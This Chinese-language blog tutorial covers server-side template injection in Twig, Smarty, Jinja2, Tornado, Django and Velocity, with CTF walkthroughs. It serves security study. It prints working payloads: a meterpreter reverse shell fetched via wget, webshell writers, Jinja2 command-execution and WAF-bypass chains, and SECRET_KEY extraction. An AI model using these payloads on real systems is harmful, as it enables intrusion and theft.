
好久沒更新博客了,現在主要在作源碼審計相關工作,在工作中也遇到了各種語言導致的一些SSTI,今天就來大概說一下SSTI模板注入這個老生常談的漏洞
前言
模板引擎
模板引擎(這里特指用於Web開發的模板引擎)是為了使用戶界面與業務數據(內容)分離而產生的,它可以生成特定格式的文檔,利用模板引擎來生成前端的html代碼,模板引擎會提供一套生成html代碼的程序,然后只需要獲取用戶的數據,然后放到渲染函數里,然后生成模板+用戶數據的前端html頁面,然后反饋給瀏覽器,呈現在用戶面前。
模板引擎也會提供沙箱機制來進行漏洞防范,但是可以用沙箱逃逸技術來進行繞過。
SSTI(模板注入)
SSTI 就是服務器端模板注入(Server-Side Template Injection)
當前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用戶的輸入先進入Controller控制器,然后根據請求類型和請求的指令發送給對應Model業務模型進行業務邏輯判斷,數據庫存取,最后把結果返回給View視圖層,經過模板渲染展示給用戶。
漏洞成因就是服務端接收了用戶的惡意輸入以后,未經任何處理就將其作為 Web 應用模板內容的一部分,模板引擎在進行目標編譯渲染的過程中,執行了用戶插入的可以破壞模板的語句,因而可能導致了敏感信息泄露、代碼執行、GetShell 等問題。其影響范圍主要取決於模版引擎的復雜性。
凡是使用模板的地方都可能會出現 SSTI 的問題,SSTI 不屬於任何一種語言,沙盒繞過也不是,沙盒繞過只是由於模板引擎發現了很大的安全漏洞,然后模板引擎設計出來的一種防護機制,不允許使用沒有定義或者聲明的模塊,這適用於所有的模板引擎。
附表

Php中的SSTI
php常見的模板:twig,smarty,blade
Twig
Twig是來自於Symfony的模板引擎,它非常易於安裝和使用。它的操作有點像Mustache和liquid。

<?php require_once dirname(__FILE__).'\twig\lib\Twig\Autoloader.php'; Twig_Autoloader::register(true); $twig = new Twig_Environment(new Twig_Loader_String()); $output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 將用戶輸入作為模版變量的值 echo $output; ?>
Twig使用一個加載器 loader(Twig_Loader_Array) 來定位模板,以及一個環境變量 environment(Twig_Environment) 來存儲配置信息。
其中,render() 方法通過其第一個參數載入模板,並通過第二個參數中的變量來渲染模板。
使用 Twig 模版引擎渲染頁面,其中模版含有 {{name}} 變量,其模版變量值來自於GET請求參數$_GET["name"] 。
顯然這段代碼並沒有什么問題,即使你想通過name參數傳遞一段JavaScript代碼給服務端進行渲染,也許你會認為這里可以進行 XSS,但是由於模版引擎一般都默認對渲染的變量值進行編碼和轉義,所以並不會造成跨站腳本攻擊:

但是,如果渲染的模版內容受到用戶的控制,情況就不一樣了。修改代碼為:
<?php require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php'; Twig_Autoloader::register(true); $twig=newTwig_Environment(newTwig_Loader_String()); $output=$twig->render("Hello {$_GET['name']}");// 將用戶輸入作為模版內容的一部分 echo $output;
?>
上面這段代碼在構建模版時,拼接了用戶輸入作為模板的內容,現在如果再向服務端直接傳遞 JavaScript 代碼,用戶輸入會原樣輸出,測試結果顯而易見:

如果服務端將用戶的輸入作為了模板的一部分,那么在頁面渲染時也必定會將用戶輸入的內容進行模版編譯和解析最后輸出。
在Twig模板引擎里,,{{var}} 除了可以輸出傳遞的變量以外,還能執行一些基本的表達式然后將其結果作為該模板變量的值。
例如這里用戶輸入name={{2*10}} ,則在服務端拼接的模版內容為:

嘗試插入一些正常字符和 Twig 模板引擎默認的注釋符,構造 Payload 為:
bmjoker{# comment #}{{2*8}}OK
實際服務端要進行編譯的模板就被構造為:
bmjoker{# comment #}{{2*8}}OK
由於 {# comment #} 作為 Twig 模板引擎的默認注釋形式,所以在前端輸出的時候並不會顯示,而 {{2*8}} 作為模板變量最終會返回16 作為其值進行顯示,因此前端最終會返回內容 Hello bmjoker16OK

通過上面兩個簡單的示例,就能得到 SSTI 掃描檢測的大致流程(這里以 Twig 為例):

同常規的 SQL 注入檢測,XSS 檢測一樣,模板注入漏洞的檢測也是向傳遞的參數中承載特定 Payload 並根據返回的內容來進行判斷的。
每一個模板引擎都有着自己的語法,Payload 的構造需要針對各類模板引擎制定其不同的掃描規則,就如同 SQL 注入中有着不同的數據庫類型一樣。
簡單來說,就是更改請求參數使之承載含有模板引擎語法的 Payload,通過頁面渲染返回的內容檢測承載的 Payload 是否有得到編譯解析,有解析則可以判定含有 Payload 對應模板引擎注入,否則不存在 SSTI。
凡是使用模板的網站,基本都會存在SSTI,只是能否控制其傳參而已。
接下來借助XVWA的代碼來實踐演示一下SSTI注入
如果在web頁面的源代碼中看到了諸如以下的字符,就可以推斷網站使用了某些模板引擎來呈現數據
<div>{$what}</div>
<p>Welcome, {{username}}</p>
<div>{%$a%}</div> ...
通過注入了探測字符串 ${{123+456}},以查看應用程序是否進行了相應的計算:

根據這個響應,我們可以推測這里使用了模板引擎,因為這符合它們對於 {{ }} 的處理方式
在這里提供一個針對twig的攻擊載荷:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

使用msf生成了一個php meterpreter有效載荷
msfvenom -p php/meterpreter/reverse_tcp -f raw LHOST=192.168.127.131 LPORT=4321 > /var/www/html/shell.txt
msf進行監聽:

模板注入遠程下載shell,並重命名運行
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("wget http://192.168.127.131/shell.txt -O /tmp/shell.php;php -f /tmp/shell.php")}}

以上就是php twig模板注入,由於以上使用的twig為2.x版本,現在官方已經更新到3.x版本,根據官方文檔新增了 filter 和 map 等內容,補充一些新版本的payload:
{{'/etc/passwd'|file_excerpt(1,30)}} {{app.request.files.get(1).__construct('/etc/passwd','')}} {{app.request.files.get(1).openFile.fread(99)}} {{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}} {{_self.env.enableDebug()}}{{_self.env.isDebug()}} {{["id"]|map("system")|join(",") {{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}} {{["id",0]|sort("system")|join(",")}} {{["id"]|filter("system")|join(",")}} {{[0,0]|reduce("system","id")|join(",")}} {{['cat /etc/passwd']|filter('system')}}
具體payload分析詳見:《TWIG 全版本通用 SSTI payloads》
Smarty
Smarty是最流行的PHP模板語言之一,為不受信任的模板執行提供了安全模式。這會強制執行在 php 安全函數白名單中的函數,因此我們在模板中無法直接調用 php 中直接執行命令的函數(相當於存在了一個disable_function)
但是,實際上對語言的限制並不能影響我們執行命令,因為我們首先考慮的應該是模板本身,恰好 Smarty 很照顧我們,在閱讀模板的文檔以后我們發現:$smarty內置變量可用於訪問各種環境變量,比如我們使用 self 得到 smarty 這個類以后我們就去找 smarty 給我們的的方法
smarty/libs/sysplugins/smarty_internal_data.php ——> getStreamVariable() 這個方法可以獲取傳入變量的流

因此我們可以用這個方法讀文件,payload:
{self::getStreamVariable("file:///etc/passwd")}
同樣
smarty/libs/sysplugins/smarty_internal_write_file.php ——> Smarty_Internal_Write_File 這個類中有一個writeFile方法
class Smarty_Internal_Write_File { /** * Writes file in a safe way to disk * * @param string $_filepath complete filepath * @param string $_contents file content * @param Smarty $smarty smarty instance * * @throws SmartyException * @return boolean true */
public function writeFile($_filepath, $_contents, Smarty $smarty) { $_error_reporting = error_reporting(); error_reporting($_error_reporting & ~E_NOTICE & ~E_WARNING); if ($smarty->_file_perms !== null) { $old_umask = umask(0); } $_dirpath = dirname($_filepath); // if subdirs, create dir structure
if ($_dirpath !== '.' && !file_exists($_dirpath)) { mkdir($_dirpath, $smarty->_dir_perms === null ? 0777 : $smarty->_dir_perms, true); } // write to tmp file, then move to overt file lock race condition
$_tmp_file = $_dirpath . DS . str_replace(array('.', ','), '_', uniqid('wrt', true)); if (!file_put_contents($_tmp_file, $_contents)) { error_reporting($_error_reporting); throw new SmartyException("unable to write file {$_tmp_file}"); } /* * Windows' rename() fails if the destination exists, * Linux' rename() properly handles the overwrite. * Simply unlink()ing a file might cause other processes * currently reading that file to fail, but linux' rename() * seems to be smart enough to handle that for us. */
if (Smarty::$_IS_WINDOWS) { // remove original file
if (is_file($_filepath)) { @unlink($_filepath); } // rename tmp file
$success = @rename($_tmp_file, $_filepath); } else { // rename tmp file
$success = @rename($_tmp_file, $_filepath); if (!$success) { // remove original file
if (is_file($_filepath)) { @unlink($_filepath); } // rename tmp file
$success = @rename($_tmp_file, $_filepath); } } if (!$success) { error_reporting($_error_reporting); throw new SmartyException("unable to write file {$_filepath}"); } if ($smarty->_file_perms !== null) { // set file permissions
chmod($_filepath, $smarty->_file_perms); umask($old_umask); } error_reporting($_error_reporting); return true; } }
可以看到 writeFile 函數第三個參數一個 Smarty 類型,后來找到了 self::clearConfig(),函數原型:
public function clearConfig($varname = null) { return Smarty_Internal_Extension_Config::clearConfig($this, $varname); }
因此我們可以構造payload寫個webshell:
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_GET['cmd']); ?>",self::clearConfig())}
CTF實例講解
CTF地址:https://buuoj.cn/challenges(CISCN2019華東南賽區Web11)
題目模擬了一個獲取IP的API,並且可以在最下方看到 "Build With Smarty !" 可以確定頁面使用的是Smarty模板引擎。


在頁面的右上角發現了IP,但是題目中顯示的API的URL由於環境的原因無法使用,猜測這個IP受X-Forwarded-For頭控制。
將XFF頭改為 {6*7} 會發現該位置的值變為了42,便可以確定這里存在SSTI。

直接構造 {system('cat /flag')} 即可得到flag

Smarty-SSTI常規利用方式:
1. {$smarty.version}
{$smarty.version} #獲取smarty的版本號

2. {php}{/php}
{php}phpinfo();{/php} #執行相應的php代碼
Smarty支持使用 {php}{/php} 標簽來執行被包裹其中的php指令,最常規的思路自然是先測試該標簽。但就該題目而言,使用{php}{/php}標簽會報錯:

因為在Smarty3版本中已經廢棄{php}標簽,強烈建議不要使用。在Smarty 3.1,{php}僅在SmartyBC中可用。
3. {literal}
<script language="php">phpinfo();</script>
這個地方借助了 {literal} 這個標簽,因為 {literal} 可以讓一個模板區域的字符原樣輸出。 這經常用於保護頁面上的Javascript或css樣式表,避免因為Smarty的定界符而錯被解析。但是這種寫法只適用於php5環境,這道ctf使用的是php7,所以依然失敗

4. getstreamvariable
{self::getStreamVariable("file:///etc/passwd")}
Smarty類的getStreamVariable方法的代碼如下:
public function getStreamVariable($variable) { $_result = ''; $fp = fopen($variable, 'r+'); if ($fp) { while (!feof($fp) && ($current_line = fgets($fp)) !== false) { $_result .= $current_line; } fclose($fp); return $_result; } $smarty = isset($this->smarty) ? $this->smarty : $this; if ($smarty->error_unassigned) { throw new SmartyException('Undefined stream variable "' . $variable . '"'); } else { return null; } }
可以看到這個方法可以讀取一個文件並返回其內容,所以我們可以用self來獲取Smarty對象並調用這個方法。然而使用這個payload會觸發報錯如下:

可見這個舊版本Smarty的SSTI利用方式並不適用於新版本的Smarty。而且在3.1.30的Smarty版本中官方已經把該靜態方法刪除。 對於那些文章提到的利用 Smarty_Internal_Write_File 類的writeFile方法來寫shell也由於同樣的原因無法使用。
5. {if}{/if}
{if phpinfo()}{/if}
Smarty的 {if} 條件判斷和PHP的if非常相似,只是增加了一些特性。每個{if}必須有一個配對的{/if},也可以使用{else} 和 {elseif},全部的PHP條件表達式和函數都可以在if內使用,如||*,or,&&,and,is_array()等等,如:{if is_array($array)}{/if}*
既然這樣就將XFF頭改為 {if phpinfo()}{/if} :

同樣還能用來執行一些系統命令:

CTF漏洞成因
本題中引發SSTI的代碼簡化后如下:
<?php require_once('./smarty/libs/' . 'Smarty.class.php'); $smarty = new Smarty(); $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; $smarty->display("string:".$ip); // display函數把標簽替換成對象的php變量;顯示模板
}
可以看到這里使用字符串代替smarty模板,導致了注入的Smarty標簽被直接解析執行,產生了SSTI。
Blade
Blade 是 Laravel 提供的一個既簡單又強大的模板引擎。
關於blade模板這里不再多說,請參考《laravel Blade 模板引擎》
Python中的SSTI
python常見的模板有:Jinja2,tornado
Jinja2
Jinja2是一種面向Python的現代和設計友好的模板語言,它是以Django的模板為模型的
Jinja2是Flask框架的一部分。Jinja2會把模板參數提供的相應的值替換了 {{…}} 塊
Jinja2使用 {{name}}結構表示一個變量,它是一種特殊的占位符,告訴模版引擎這個位置的值從渲染模版時使用的數據中獲取。
Jinja2 模板同樣支持控制語句,像在 {%…%} 塊中,下面舉一個常見的使用Jinja2模板引擎for語句循環渲染一組元素的例子:
<ul> {% for comment in comments %} <li>{{comment}}</li> {% endfor %} </ul>
另外Jinja2 能識別所有類型的變量,甚至是一些復雜的類型,例如列表、字典和對象。此外,還可使用過濾器修改變量,過濾器名添加在變量名之后,中間使用豎線分隔。例如,下述模板以首字母大寫形式顯示變量name的值。
Hello, {{name|capitalize}}

這邊使用vulhub提供的環境進行復現,搭建成功后訪問首頁如圖:

進入docker容器來看一下web代碼:
from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render() if __name__ == "__main__": app.run()
t = Template("hello" + name) 這行代碼表示,將前端輸入的name拼接到模板,此時name的輸入沒有經過任何檢測,嘗試使用模板語言測試:

如果使用一個固定好了的模板,在模板渲染之后傳入數據,就不存在模板注入,就好像SQL注入的預編譯一樣,修復上面代碼如下:
from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/") def index(): name = request.args.get('name', 'guest') t = Template("Hello {{n}}") return t.render(n=name) if __name__ == "__main__": app.run()
編譯運行,再次注入就會失敗

由於在jinja2中是可以直接訪問python的一些對象及其方法的,所以可以通過構造繼承鏈來執行一些操作,比如文件讀取,命令執行等:
__dict__ :保存類實例或對象實例的屬性變量鍵值對字典 __class__ :返回一個實例所屬的類 __mro__ :返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。 __bases__ :以元組形式返回一個類直接所繼承的類(可以理解為直接父類)
__base__ :和上面的bases大概相同,都是返回當前類所繼承的類,即基類,區別是base返回單個,bases返回是元組 // __base__和__mro__都是用來尋找基類的
__subclasses__ :以列表返回類的子類 __init__ :類的初始化方法 __globals__ :對包含函數全局變量的字典的引用
__builtin__&&__builtins__ :python中可以直接運行一些函數,例如int(),list()等等。
這些函數可以在__builtin__可以查到。查看的方法是dir(__builtins__)
在py3中__builtin__被換成了builtin
1.在主模塊main中,__builtins__是對內建模塊__builtin__本身的引用,即__builtins__完全等價於__builtin__。
2.非主模塊main中,__builtins__僅是對__builtin__.__dict__的引用,而非__builtin__本身

用file對象來讀取文件
for c in {}.__class__.__base__.__subclasses__(): if(c.__name__=='file'): print(c) print c('joker.txt').readlines()

上述代碼先通過__class__獲取字典對象所屬的類,再通過__base__(__bases[0]__)拿到基類,然后使用__subclasses__()獲取子類列表,在子類列表中直接尋找可以利用的類
為了方便理解,我直接把獲取到的子類列表打印出來:
for c in {}.__class__.__base__.__subclasses__(): print(c)
打印結果如下(python2.7.5):
<type 'type'>
<type 'weakref'>
<type 'weakcallableproxy'>
<type 'weakproxy'>
<type 'int'>
<type 'basestring'>
<type 'bytearray'>
<type 'list'>
<type 'NoneType'>
<type 'NotImplementedType'>
<type 'traceback'>
<type 'super'>
<type 'xrange'>
<type 'dict'>
<type 'set'>
<type 'slice'>
<type 'staticmethod'>
<type 'complex'>
<type 'float'>
<type 'buffer'>
<type 'long'>
<type 'frozenset'>
<type 'property'>
<type 'memoryview'>
<type 'tuple'>
<type 'enumerate'>
<type 'reversed'>
<type 'code'>
<type 'frame'>
<type 'builtin_function_or_method'>
<type 'instancemethod'>
<type 'function'>
<type 'classobj'>
<type 'dictproxy'>
<type 'generator'>
<type 'getset_descriptor'>
<type 'wrapper_descriptor'>
<type 'instance'>
<type 'ellipsis'>
<type 'member_descriptor'>
<type 'file'>
<type 'PyCapsule'>
<type 'cell'>
<type 'callable-iterator'>
<type 'iterator'>
<type 'sys.long_info'>
<type 'sys.float_info'>
<type 'EncodingMap'>
<type 'fieldnameiterator'>
<type 'formatteriterator'>
<type 'sys.version_info'>
<type 'sys.flags'>
<type 'exceptions.BaseException'>
<type 'module'>
<type 'imp.NullImporter'>
<type 'zipimport.zipimporter'>
<type 'posix.stat_result'>
<type 'posix.statvfs_result'>
<class 'warnings.WarningMessage'>
<class 'warnings.catch_warnings'>
<class '_weakrefset._IterationGuard'>
<class '_weakrefset.WeakSet'>
<class '_abcoll.Hashable'>
<type 'classmethod'>
<class '_abcoll.Iterable'>
<class '_abcoll.Sized'>
<class '_abcoll.Container'>
<class '_abcoll.Callable'>
<class 'site._Printer'>
<class 'site._Helper'>
<type '_sre.SRE_Pattern'>
<type '_sre.SRE_Match'>
<type '_sre.SRE_Scanner'>
<class 'site.Quitter'>
<class 'codecs.IncrementalEncoder'>
<class 'codecs.IncrementalDecoder'>
使用dir來看一下file這個子類的內置方法:
dir(().__class__.__bases__[0].__subclasses__()[40])

將要讀取的文件傳進入並使用readlines()方法讀取,就相當於:
file('joker.txt').readlines()
可以在python交互終端中嘗試輸出:

再使用jinja2的語法封裝成可解析的樣子:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='file' %} {{ c("/etc/passwd").readlines() }} {% endif %} {% endfor %}

不過我這邊一直沒有讀取成功,原因是:python3已經移除了file。所以利用file子類文件讀取只能在python2中用。
docker容器默認使用python3版本

用內置模塊執行命令
上面的實例中我們使用dir把內置的對象列舉出來,其實可以用__globals__更深入的去看每個類可以調用的東西(包括模塊,類,變量等等),如果有os這種可以直接傳入命令,造成命令執行
#coding:utf-8
search = 'os' #也可以是其他你想利用的模塊 num = -1 for i in ().__class__.__bases__[0].__subclasses__(): num += 1 try: if search in i.__init__.__globals__.keys(): print(i, num) except: pass

可以看到在元組68,73的位置找到了os方法,這樣就可以構造命令執行payload:
().__class__.__bases__[0].__subclasses__()[68].__init__.__globals__['os'].system('whoami') ().__class__.__base__.__subclasses__()[73].__init__.__globals__['os'].system('whoami') ().__class__.__mro__[1].__subclasses__()[68].__init__.__globals__['os'].system('whoami') ().__class__.__mro__[1].__subclasses__()[73].__init__.__globals__['os'].system('whoami')
在python交互終端中嘗試輸出:

不過同樣,只能在python2版本使用
這時候就要推薦__builtins__:
#coding:utf-8 search = '__builtins__' num = -1
for i in ().__class__.__bases__[0].__subclasses__(): num += 1
try: print(i.__init__.__globals__.keys()) if search in i.__init__.__globals__.keys(): print(i, num) except: pass

這時候我們的命令執行payload就出來了:
python3:
().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
python2:
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
在python交互終端中嘗試輸出:

實際注入效果:

既然大概知道原理跟利用,我這里不再廢話,直接給出大佬們各種繞過payload:
基礎payload:
獲得基類 #python2.7
''.__class__.__mro__[2] {}.__class__.__bases__[0] ().__class__.__bases__[0] [].__class__.__bases__[0] request.__class__.__mro__[1] #python3.7
''.__。。。class__.__mro__[1] {}.__class__.__bases__[0] ().__class__.__bases__[0] [].__class__.__bases__[0] request.__class__.__mro__[1] #python 2.7 #文件操作 #找到file類 [].__class__.__bases__[0].__subclasses__()[40] #讀文件 [].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read() #寫文件 [].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test') #命令執行 #os執行 [].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os類,可以直接執行命令: [].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read() #eval,impoer等全局函數 [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函數,可以利用此來執行命令: [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()") [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read() [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() #python3.7 #命令執行 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %} #文件操作 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %} #windows下的os命令 "".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()
一些繞waf的姿勢:
過濾[
#getitem、pop ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read() ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
過濾引號
#chr函數 {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %} {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}
#request對象 {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd #命令執行 {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %} {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }} {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
過濾下划線
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
過濾花括號
#用{%%}標記 {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
利用示例:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} //popen的參數就是要執行的命令
{% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
這里推薦自動化工具tplmap,拿shell、執行命令、bind_shell、反彈shell、上傳下載文件,Tplmap為SSTI的利用提供了很大的便利
github地址:https://github.com/epinna/tplmap

一鍵shell真香,還支持其他模板(Smarty,Mako,Tornado,Jinja2)的注入檢測
tornado
tornado render是python中的一個渲染函數,也就是一種模板,通過調用的參數不同,生成不同的網頁,如果用戶對render內容可控,不僅可以注入XSS代碼,而且還可以通過{{}}進行傳遞變量和執行簡單的表達式。
以下代碼將定義一個TEMPLATE變量作為一個模板文件,然后使用傳入的name替換模板中的"FOO",在進行加載模板並輸出,且未對name值進行安全檢查輸入情況。
import tornado.template import tornado.ioloop import tornado.web TEMPLATE = ''' <html>
<head><title> Hello {{ name }} </title></head>
<body> Hello max </body>
</html>
''' class MainHandler(tornado.web.RequestHandler): def get(self): name = self.get_argument('name', '') template_data = TEMPLATE.replace("FOO",name) t = tornado.template.Template(template_data) self.write(t.generate(name=name)) application = tornado.web.Application([(r"/", MainHandler),], debug=True, static_path=None, template_path=None) if __name__ == '__main__': application.listen(8000) tornado.ioloop.IOLoop.instance().start()

這里拿一道BUUCTF的題來演示一下tornado render模板注入:

flag.txt:

welcome.txt

hints.txt

根據上面的信息,我們知道flag在/fllllllllllllag文件中
render是python中的一個渲染函數,也就是一種模板,通過調用的參數不同,生成不同的網頁render配合Tornado使用
最后就是這段代碼md5(cookie_secret+md5(filename)),再來分析我們訪問的鏈接:
http://4dd65e36-edbf-4402-b6a3-75993b8c618d.node3.buuoj.cn/file?filename=/flag.txt&filehash=284090432706edeffa4679e60f0fff03
推測md5加密過后的值就是url中filehash對應的值,想獲得flag只要我們在filename中傳入/fllllllllllllag文件和filehash,所以關鍵是獲取cookie_secret
在tornado模板中,存在一些可以訪問的快速對象,比如 {{escape(handler.settings["cookie"])}},這個其實就是handler.settings對象,里面存儲着一些環境變量,具體分析請參照《python SSTI tornado render模板注入》。
觀察錯誤頁面,發現頁面返回的由msg的值決定

修改msg的值注入{{handler.settings}},獲得環境變量

得到cookie_secret的值,根據上面的md5進行算法重構,就可以得到filehash,這里給出py3的轉換腳本
import hashlib hash = hashlib.md5() filename='/fllllllllllllag' cookie_secret="ad53693f-47f6-4c89-b072-0673e0fbbc17" hash.update(filename.encode('utf-8')) s1=hash.hexdigest() hash = hashlib.md5() hash.update((cookie_secret+s1).encode('utf-8')) print(hash.hexdigest())
得到filehash=ceba5d7a8acd8c4fb77cfb58c9534971,獲取flag

Django
先看存在漏洞的代碼:
def view(request, *args, **kwargs): template = 'Hello {user}, This is your email: ' + request.GET.get('email') return HttpResponse(template.format(user=request.user))
很明顯 email 就是注入點,但是條件被限制的很死,很難執行命令,現在拿到的只有有一個和user有關的變量request.user ,這個時候我們就應該在沒有應用源碼的情況下去尋找框架本身的屬性,看這個空框架有什么屬性和類之間的引用。
后來發現Django自帶的應用 "admin"(也就是Django自帶的后台)的models.py中導入了當前網站的配置文件:

所以可以通過某種方式,找到Django默認應用admin的model,再通過這個model獲取settings對象,進而獲取數據庫賬號密碼、Web加密密鑰等信息。
payload如下:
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
Java中的SSTI
java常見的引擎:FreeMarker, velocity
velocity
(以下板塊參照自《CVE-2019-3396 Confluence Velocity SSTI漏洞淺析》)
Apache Velocity是一個基於Java的模板引擎,它提供了一個模板語言去引用由Java代碼定義的對象。Velocity是Apache基金會旗下的一個開源軟件項目,旨在確保Web應用程序在表示層和業務邏輯層之間的隔離(即MVC設計模式)。
基本語法
語句標識符
#用來標識Velocity的腳本語句,包括#set、#if 、#else、#end、#foreach、#end、#include、#parse、#macro等語句。
變量
\$用來標識一個變量,比如模板文件中為Hello \$a,可以獲取通過上下文傳遞的\$a
聲明
set用於聲明Velocity腳本變量,變量可以在腳本中聲明
#set($a ="velocity") #set($b=1) #set($arrayName=["1","2"])
注釋
單行注釋為##,多行注釋為成對出現的#* ............. *#
條件語句
以if/else為例:
#if($foo<10)
<strong>1</strong> #elseif($foo==10) <strong>2</strong> #elseif($bar==6) <strong>3</strong>
#else
<strong>4</strong> #end
轉義字符
如果\$a已經被定義,但是又需要原樣輸出\$a,可以試用\轉義作為關鍵的\$
基礎使用
使用Velocity主要流程為:
- 初始化Velocity模板引擎,包括模板路徑、加載類型等
- 創建用於存儲預傳遞到模板文件的數據的上下文
- 選擇具體的模板文件,傳遞數據完成渲染
VelocityTest.java
package Velocity; import org.apache.velocity.Template; import org.apache.velocity.VelocityContext; import org.apache.velocity.app.VelocityEngine; import java.io.StringWriter; public class VelocityTest { public static void main(String[] args) { VelocityEngine velocityEngine = new VelocityEngine(); velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file"); velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/main/resources"); velocityEngine.init(); VelocityContext context = new VelocityContext(); context.put("name", "Rai4over"); context.put("project", "Velocity"); Template template = velocityEngine.getTemplate("test.vm"); StringWriter sw = new StringWriter(); template.merge(context, sw); System.out.println("final output:" + sw); } }
模板文件:src/main/resources/test.vm
Hello World! The first velocity demo. Name is $name. Project is $project
輸出結果:
final output: Hello World! The first velocity demo. Name is Victor Zhang. Project is Velocity java.lang.UNIXProcess@12f40c25
通過 VelocityEngine 創建模板引擎,接着 velocityEngine.setProperty 設置模板路徑 src/main/resources、加載器類型為file,最后通過 velocityEngine.init() 完成引擎初始化。
通過 VelocityContext() 創建上下文變量,通過put添加模板中使用的變量到上下文。
通過 getTemplate 選擇路徑中具體的模板文件test.vm,創建 StringWriter 對象存儲渲染結果,然后將上下文變量傳入 template.merge 進行渲染。

這里使用java-sec-code里面的SSTI代碼:

poc:
http://127.0.0.1:8080/ssti/velocity?template=%23set(%24e=%22e%22);%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)
$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor() //延遲了5秒

參照《白頭搔更短,SSTI惹人心!》簡單進行調試
在最初的Controller層下斷點,來追蹤poc的解析過程:

(template -> instring)進入 Velocity.evaluate 方法:

(instring -> reader)繼續跟進 evaluate 方法,RuntimeInstance類中封裝了evaluate方法,instring被強制轉化(Reader)類型。

跟進 StringReader 方法查看詳情:
(reader -> nodeTree)繼續跟進 this.evaluate() 方法

(nodeTree -> writer)繼續跟進render方法

emmm...繼續跟進render

繼續看render方法

跟進execute方法

可以看到這是最后一步了,調試結束就可以看到poc已經成功被執行,看一下上圖中的for循環的代碼,大概意思是當遍歷的節點時候,這時候就會一步步的保存我們的payload最終導致RCE
Confluence 未授權RCE分析(CVE-2019-3396)
根據官方文檔的描述,可以看到這是由 widget Connector 這個插件造成的SSTI,利用SSTI而造成的RCE。在經過diff后,可以確定觸發漏洞的關鍵點在於對post包中的_template字段
具體漏洞代碼調試可以參考:《Confluence未授權模板注入/代碼執行(CVE-2019-3396)》
《Confluence 未授權RCE分析(CVE-2019-3396)》
FreeMarker
FreeMarker 是一款模板引擎:即一種基於模板和要改變的數據, 並用來生成輸出文本(HTML網頁,電子郵件,配置文件,源代碼等)的通用工具。 它不是面向最終用戶的,而是一個Java類庫,是一款程序員可以嵌入他們所開發產品的組件。

FreeMarker模板代碼:
<html>
<head>
<title>Welcome!</title>
</head>
<body> <#–這是注釋–>
